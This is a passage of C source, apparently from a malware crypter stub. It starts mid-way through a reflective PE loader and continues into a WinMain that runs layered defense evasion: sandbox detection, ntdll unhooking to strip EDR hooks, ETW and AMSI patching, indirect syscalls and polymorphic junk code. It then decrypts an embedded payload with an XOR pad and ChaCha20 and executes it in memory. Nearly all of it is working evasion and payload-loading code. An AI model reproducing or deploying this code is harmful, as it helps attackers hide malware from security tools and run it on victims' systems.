relocs done\r\n"); if (opt->DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size > 0) { PIMAGE_IMPORT_DESCRIPTOR imp = (PIMAGE_IMPORT_DESCRIPTOR)( base + opt->DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress); while (imp->Name) { LPCSTR modName = (LPCSTR)(base + imp->Name); HMODULE hMod = pLoadLibraryA(modName); if (!hMod) { DiagLog("LOADPE: FAIL import DLL: "); DiagLog(modName); DiagLog("\r\n"); return -7; /* DLL not found */ } { PIMAGE_THUNK_DATA origThunk; PIMAGE_THUNK_DATA boundThunk; if (imp->OriginalFirstThunk) origThunk = (PIMAGE_THUNK_DATA)(base + imp->OriginalFirstThunk); else origThunk = (PIMAGE_THUNK_DATA)(base + imp->FirstThunk); boundThunk = (PIMAGE_THUNK_DATA)(base + imp->FirstThunk); while (origThunk->u1.AddressOfData) { #ifdef _WIN64 if (origThunk->u1.Ordinal & IMAGE_ORDINAL_FLAG64) { LPCSTR ordinal = (LPCSTR)(origThunk->u1.Ordinal & 0xFFFF); #else if (origThunk->u1.Ordinal & IMAGE_ORDINAL_FLAG32) { LPCSTR ordinal = (LPCSTR)(origThunk->u1.Ordinal & 0xFFFF); #endif boundThunk->u1.Function = (ULONG_PTR)pGetProcAddress(hMod, ordinal); } else { PIMAGE_IMPORT_BY_NAME byName = (PIMAGE_IMPORT_BY_NAME)( base + origThunk->u1.AddressOfData); boundThunk->u1.Function = (ULONG_PTR)pGetProcAddress( hMod, (LPCSTR)byName->Name); } if (!boundThunk->u1.Function) { DiagLog("LOADPE: FAIL import func in "); DiagLog(modName); DiagLog("\r\n"); return -8; /* Function not found */ } origThunk++; boundThunk++; } } imp++; } } DiagLog("LOADPE: imports resolved\r\n"); /* Update ImageBase in mapped headers */ { PIMAGE_NT_HEADERS mappedNt = (PIMAGE_NT_HEADERS)(base + dos->e_lfanew); mappedNt->OptionalHeader.ImageBase = (ULONG_PTR)base; } /* Update PEB.ImageBaseAddress so GetModuleHandle(NULL) returns the right value */ GetPeb()->ImageBaseAddress = base; /* Set section memory protections via indirect syscalls */ for (WORD i = 0; i < numSections; i++) { DWORD size = sections[i].Misc.VirtualSize; if (size == 0) size = sections[i].SizeOfRawData; if (size == 0) continue; DWORD prot = SectionToProtection(sections[i].Characteristics); if (sections[i].Characteristics & IMAGE_SCN_MEM_NOT_CACHED) prot |= PAGE_NOCACHE; PVOID secAddr = base + sections[i].VirtualAddress; SIZE_T secSize = size; ULONG oldProt; IndirectNtProtectVirtualMemory((HANDLE)-1, &secAddr, &secSize, prot, &oldProt); } /* Protect headers as read-only */ { PVOID hdrAddr = base; SIZE_T hdrSize = opt->SizeOfHeaders; ULONG oldProt; IndirectNtProtectVirtualMemory((HANDLE)-1, &hdrAddr, &hdrSize, PAGE_READONLY, &oldProt); } /* Flush instruction cache */ IndirectNtFlushInstructionCache((HANDLE)-1, NULL, 0); /* Register x64 exception handlers (.pdata) so SEH works in loaded PE */ #ifdef _WIN64 if (opt->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION].Size > 0) { typedef BOOLEAN (WINAPI *fn_RtlAddFunctionTable)( PRUNTIME_FUNCTION, DWORD, DWORD64); HMODULE hNtdll = pLoadLibraryA("ntdll.dll"); if (hNtdll) { fn_RtlAddFunctionTable pRtlAddFunctionTable = (fn_RtlAddFunctionTable)pGetProcAddress(hNtdll, "RtlAddFunctionTable"); if (pRtlAddFunctionTable) { PRUNTIME_FUNCTION funcTable = (PRUNTIME_FUNCTION)( base + opt->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION].VirtualAddress); DWORD numEntries = opt->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION].Size / sizeof(RUNTIME_FUNCTION); pRtlAddFunctionTable(funcTable, numEntries, (DWORD64)base); } } } #endif /* Initialize static TLS (Thread Local Storage) for the loaded PE. * * The Windows loader normally handles this, but for reflective loading * we must manually set up the TEB's ThreadLocalStoragePointer so that * __declspec(thread) / __thread variable access works. The CRT accesses * static TLS like this: * * mov eax, [__tls_index] ; PE's .tls AddressOfIndex (usually 0) * mov rcx, gs:[0x58] ; TEB.ThreadLocalStoragePointer * mov rdx, [rcx + rax*8] ; Module's TLS data block * mov rax, [rdx + offset] ; Access the TLS variable * * This is DIFFERENT from dynamic TLS (TlsAlloc/TlsGetValue) which uses * TEB.TlsSlots. We must NOT use TlsAlloc here — it's the wrong mechanism. * * Without this, MinGW CRT's errno, strtok state, rand seed, etc. will * crash, killing the process before main() is ever reached. */ if (opt->DataDirectory[IMAGE_DIRECTORY_ENTRY_TLS].Size > 0) { DiagLog("LOADPE: TLS init (static)...\r\n"); PIMAGE_TLS_DIRECTORY tls = (PIMAGE_TLS_DIRECTORY)( base + opt->DataDirectory[IMAGE_DIRECTORY_ENTRY_TLS].VirtualAddress); /* Read the __tls_index from the PE. For a standalone EXE compiled * by MinGW, this is typically 0 (set by the linker). */ DWORD tlsIndex = 0; if (tls->AddressOfIndex) tlsIndex = *(DWORD *)(tls->AddressOfIndex); DiagLogHex("LOADPE: __tls_index=", tlsIndex); /* Calculate TLS data size from the template */ SIZE_T tlsDataSize = (SIZE_T)(tls->EndAddressOfRawData - tls->StartAddressOfRawData); SIZE_T totalTlsSize = tlsDataSize + tls->SizeOfZeroFill; DiagLogHex("LOADPE: TLS data size=", (uint32_t)totalTlsSize); if (totalTlsSize > 0) { /* Allocate TLS data block for this thread */ PVOID tlsData = NULL; SIZE_T tlsAllocSize = totalTlsSize; NTSTATUS tlsSt = IndirectNtAllocateVirtualMemory( (HANDLE)-1, &tlsData, 0, &tlsAllocSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); if (tlsSt == 0 && tlsData) { /* Copy initial TLS template data */ LPBYTE src = (LPBYTE)tls->StartAddressOfRawData; LPBYTE dst = (LPBYTE)tlsData; for (SIZE_T j = 0; j < tlsDataSize; j++) dst[j] = src[j]; /* Zero-fill remainder is already zero from NtAllocate */ /* Write pointer into TEB.ThreadLocalStoragePointer[__tls_index]. * This is the array the CRT reads via gs:[0x58] (x64) / fs:[0x2C] (x86). * The OS loader pre-allocates this array for all loaded modules. */ #ifdef _WIN64 LPVOID *tlsArray = (LPVOID *)__readgsqword(0x58); #else LPVOID *tlsArray = (LPVOID *)__readfsdword(0x2C); #endif if (tlsArray) { tlsArray[tlsIndex] = tlsData; DiagLog("LOADPE: TLS data written to TEB\r\n"); } else { DiagLog("LOADPE: WARN TEB TLS array is NULL\r\n"); } } } /* Call TLS callbacks */ PIMAGE_TLS_CALLBACK *callbacks = (PIMAGE_TLS_CALLBACK *)tls->AddressOfCallBacks; if (callbacks) { while (*callbacks) { DiagLog("LOADPE: calling TLS callback\r\n"); (*callbacks)((PVOID)base, DLL_PROCESS_ATTACH, NULL); callbacks++; } } } /* Save entry point RVA and header size before wiping source buffer * (opt points into pe_data, so we must read them first) */ DWORD entryRVA = opt->AddressOfEntryPoint; DWORD sizeOfHeaders = opt->SizeOfHeaders; /* Wipe decrypted PE buffer */ SecureZeroMemory(pe_data, pe_size); /* NOTE: Do NOT wipe PE headers before entry — the CRT's mainCRTStartup * reads the PE headers (security cookie init, TLS, static initializers). * Zeroing + PAGE_NOACCESS here causes an immediate access violation. * Header wiping should be done post-CRT-init from within the agent. */ /* Jump to entry point (mainCRTStartup for EXEs with CRT) */ DiagLogHex("LOADPE: entry RVA=", entryRVA); DiagLogHex("LOADPE: entry addr=", (uint32_t)(uintptr_t)(base + entryRVA)); DiagLog("LOADPE: jumping to entry\r\n"); DiagClose(); typedef int (*entry_point_fn)(void); entry_point_fn entry = (entry_point_fn)(base + entryRVA); return entry(); } /* ====================================================================== * WinMain - GUI subsystem entry point (no console window) * ====================================================================== */ int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { (void)hInstance; (void)hPrevInstance; (void)lpCmdLine; (void)nCmdShow; DiagInit(); DiagLog("STUB: entry\r\n"); /* Verify config was patched */ if (g_Config.magic != STUB_CONFIG_MAGIC || g_Config.payload_size == 0) { DiagLog("STUB: FAIL config magic/size\r\n"); DiagClose(); return 0; } DiagLogHex("STUB: payload_size=", g_Config.payload_size); DiagLogHex("STUB: payload_rva=", g_Config.payload_rva); /* Layer 0: IAT padding — randomized benign API calls per build */ iat_padding_init(); /* Touch padding data to prevent linker stripping */ padding_touch(); /* Polymorphic junk code — varies binary layout per build */ poly_stub_init(); DiagLog("STUB: iat+poly done\r\n"); /* Layer 1: Sandbox detection */ #ifndef SKIP_SANDBOX DiagLog("STUB: sandbox check...\r\n"); if (SandboxCheck()) { DiagLog("STUB: FAIL sandbox (3+ checks triggered)\r\n"); DiagClose(); return 0; } DiagLog("STUB: sandbox passed\r\n"); #else DiagLog("STUB: sandbox SKIPPED\r\n"); #endif /* Layer 2: Ntdll unhooking (removes EDR inline hooks) */ int unhookResult = UnhookNtdll(); DiagLogHex("STUB: unhook ntdll=", (uint32_t)unhookResult); /* Layer 3: ETW patching */ PatchETW(); DiagLog("STUB: etw patched\r\n"); /* Layer 3b: AMSI patching */ PatchAMSI(); DiagLog("STUB: amsi patched\r\n"); /* Layer 4: Initialize indirect syscalls */ LPBYTE ntdllBase = (LPBYTE)StubGetModuleHandle(FH_NTDLL); if (!ntdllBase) { DiagLog("STUB: FAIL ntdll not found\r\n"); DiagClose(); return 0; } DiagLogHex("STUB: ntdll base=", (uint32_t)(uintptr_t)ntdllBase); if (InitSyscalls(ntdllBase) != 0) { DiagLog("STUB: FAIL InitSyscalls\r\n"); DiagClose(); return 0; } DiagLog("STUB: syscalls init OK\r\n"); /* Get our own image base to calculate .data1 section address */ LPBYTE selfBase = (LPBYTE)GetPeb()->ImageBaseAddress; if (!selfBase) { DiagLog("STUB: FAIL selfBase null\r\n"); DiagClose(); return 0; } DiagLogHex("STUB: selfBase=", (uint32_t)(uintptr_t)selfBase); /* Locate the encrypted+flattened payload via RVA from config */ uint8_t *flatPayload = selfBase + g_Config.payload_rva; uint32_t payloadSize = g_Config.payload_size; /* Allocate buffer for decryption via indirect syscall */ PVOID decBuf = NULL; SIZE_T decSize = payloadSize; NTSTATUS status = IndirectNtAllocateVirtualMemory( (HANDLE)-1, &decBuf, 0, &decSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); if (status != 0 || !decBuf) { DiagLogHex("STUB: FAIL NtAlloc dec status=", (uint32_t)status); DiagClose(); return 0; } DiagLog("STUB: decBuf allocated\r\n"); /* Layer 5: Reverse entropy flattening (regenerate pad from seed, XOR) */ { /* Allocate pad buffer on heap via indirect syscall */ PVOID padBuf = NULL; SIZE_T padAllocSize = ENTROPY_PAD_SIZE; NTSTATUS padStatus = IndirectNtAllocateVirtualMemory( (HANDLE)-1, &padBuf, 0, &padAllocSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); if (padStatus != 0 || !padBuf) { DiagLogHex("STUB: FAIL NtAlloc pad status=", (uint32_t)padStatus); SIZE_T fs = 0; IndirectNtFreeVirtualMemory((HANDLE)-1, &decBuf, &fs, MEM_RELEASE); DiagClose(); return 0; } generate_entropy_pad(g_Config.entropy_seed, (uint8_t *)padBuf, ENTROPY_PAD_SIZE); uint8_t *src = flatPayload; uint8_t *dst = (uint8_t *)decBuf; uint8_t *pad = (uint8_t *)padBuf; for (uint32_t i = 0; i < payloadSize; i++) { dst[i] = src[i] ^ pad[i % ENTROPY_PAD_SIZE]; } /* Wipe and free pad */ SecureZeroMemory(padBuf, ENTROPY_PAD_SIZE); SIZE_T padFreeSize = 0; IndirectNtFreeVirtualMemory((HANDLE)-1, &padBuf, &padFreeSize, MEM_RELEASE); } DiagLog("STUB: entropy deflat done\r\n"); /* Layer 6: ChaCha20 decryption (in-place on the de-flattened buffer) */ { uint8_t *temp = (uint8_t *)decBuf; /* Copy key/nonce from volatile config to stack */ uint8_t key[32], nonce[12]; for (int i = 0; i < 32; i++) key[i] = g_Config.key[i]; for (int i = 0; i < 12; i++) nonce[i] = g_Config.nonce[i]; /* Decrypt: we need a second buffer because chacha20 XORs in→out */ PVOID plainBuf = NULL; SIZE_T plainSize = payloadSize; status = IndirectNtAllocateVirtualMemory( (HANDLE)-1, &plainBuf, 0, &plainSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); if (status != 0 || !plainBuf) { DiagLogHex("STUB: FAIL NtAlloc plain status=", (uint32_t)status); SIZE_T freeSize = 0; IndirectNtFreeVirtualMemory((HANDLE)-1, &decBuf, &freeSize, MEM_RELEASE); DiagClose(); return 0; } chacha20_decrypt(key, nonce, temp, (uint8_t *)plainBuf, payloadSize); DiagLog("STUB: chacha20 decrypt done\r\n"); /* Wipe key, nonce, intermediate buffer */ SecureZeroMemory(key, sizeof(key)); SecureZeroMemory(nonce, sizeof(nonce)); SecureZeroMemory(decBuf, payloadSize); SIZE_T freeSize = 0; IndirectNtFreeVirtualMemory((HANDLE)-1, &decBuf, &freeSize, MEM_RELEASE); /* Verify decrypted PE has valid DOS header */ { uint8_t *p = (uint8_t *)plainBuf; DiagLogHex("STUB: PE byte0=", (uint32_t)p[0]); DiagLogHex("STUB: PE byte1=", (uint32_t)p[1]); if (p[0] != 'M' || p[1] != 'Z') { DiagLog("STUB: FAIL MZ check (decrypt bad)\r\n"); freeSize = 0; IndirectNtFreeVirtualMemory((HANDLE)-1, &plainBuf, &freeSize, MEM_RELEASE); DiagClose(); return 0; } } DiagLog("STUB: MZ verified, calling LoadPE\r\n"); /* Layer 7: Load and execute the decrypted PE */ int result = LoadPE((uint8_t *)plainBuf, payloadSize); DiagLogHex("STUB: LoadPE returned=", (uint32_t)result); /* Cleanup (may not be reached if PE takes over) */ freeSize = 0; IndirectNtFreeVirtualMemory((HANDLE)-1, &plainBuf, &freeSize, MEM_RELEASE); DiagClose(); return result; } }